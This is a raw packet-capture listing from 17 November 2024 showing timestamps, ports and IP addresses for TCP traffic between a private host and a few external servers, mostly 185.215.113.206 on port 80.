Nov 17, 2024 22:20:53.427561998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427580118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427580118 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427607059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427622080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427635908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427673101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427690983 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427701950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427712917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427740097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427742958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427783012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427798033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427799940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427818060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427831888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427839994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427859068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427865028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427875042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427876949 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427900076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427912951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427928925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427937984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427937984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427967072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427972078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427985907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427992105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428010941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428020954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428028107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428047895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428052902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428065062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428082943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428085089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428100109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428108931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428127050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428137064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428164959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428181887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428211927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.428920031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428934097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428968906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.428986073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429011106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429011106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429052114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429056883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429075003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429107904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429119110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429126978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429143906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429147959 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429166079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429172993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429183960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429195881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429202080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429220915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429248095 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429373980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429388046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429436922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429452896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429507017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429542065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429554939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429583073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429584026 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429624081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429642916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429653883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429660082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429671049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429688931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429698944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429701090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429739952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429753065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429758072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429774046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429805994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429821014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429824114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429848909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429841995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429879904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.429884911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429903984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.429956913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.470015049 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.470037937 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.479661942 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.479825020 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.479880095 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.479993105 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.480016947 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.480031967 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.480038881 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.482863903 CET	60924	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.482891083 CET	443	60924	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.482959032 CET	60924	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.483108044 CET	60924	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.483118057 CET	443	60924	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.496104002 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.496254921 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.496295929 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.496308088 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.496345043 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.496447086 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.496542931 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.496754885 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.496767044 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.541327953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541382074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541388035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541399002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541399956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541428089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541450024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541452885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541456938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541470051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541472912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541501999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541512012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541563034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541564941 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541578054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541595936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541600943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541616917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541624069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541640043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541667938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541672945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541678905 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541683912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541728020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541752100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541799068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541804075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541810036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.541837931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.541856050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542256117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542262077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542275906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542285919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542293072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542298079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542304039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542306900 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542309999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542321920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542323112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542346954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542351961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542362928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542367935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542370081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542380095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542386055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542392015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542392015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542418957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542433977 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542447090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542453051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542458057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542463064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542474031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542484999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542494059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542510033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542538881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542623043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542629957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542642117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.542670012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.542689085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543520927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543569088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543600082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543606043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543618917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543623924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543629885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543649912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543663025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543668985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543679953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543684006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543715954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543747902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543771029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543787956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543792009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543802023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543807030 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543812990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543817043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543817997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.543828964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543847084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.543863058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544013023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544059038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544069052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544104099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544194937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544200897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544210911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544215918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544225931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544230938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544240952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544244051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544245958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544255018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544255972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544262886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544275045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544279099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544302940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544543982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544641018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544646978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544658899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544662952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544667006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544670105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544678926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544699907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544724941 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544756889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544763088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544774055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544778109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544784069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544790030 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544810057 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544828892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544842958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544856071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544859886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544866085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.544892073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.544917107 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.545764923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545780897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545790911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545851946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.545912981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545927048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545937061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545942068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545950890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545955896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545968056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545973063 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.545974016 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.545984030 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546000004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546017885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546037912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546065092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546071053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546091080 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546127081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546129942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546133995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546144962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546175957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546192884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546212912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546217918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546231031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546264887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546288967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546295881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546307087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546338081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546359062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546435118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546441078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546459913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546464920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546475887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546487093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546510935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.546564102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546567917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.546611071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658474922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658495903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658549070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658565998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658584118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658588886 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658602953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658621073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658638954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658651114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658651114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658657074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658668041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658691883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658713102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658715010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658755064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658773899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658823967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658850908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658860922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658879995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658881903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658899069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658914089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658916950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658934116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658945084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658958912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.658967018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.658977985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659010887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659029961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659032106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659100056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659116983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659117937 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659135103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659151077 CET	60797	80	192.168.2.7	185.215.113.206
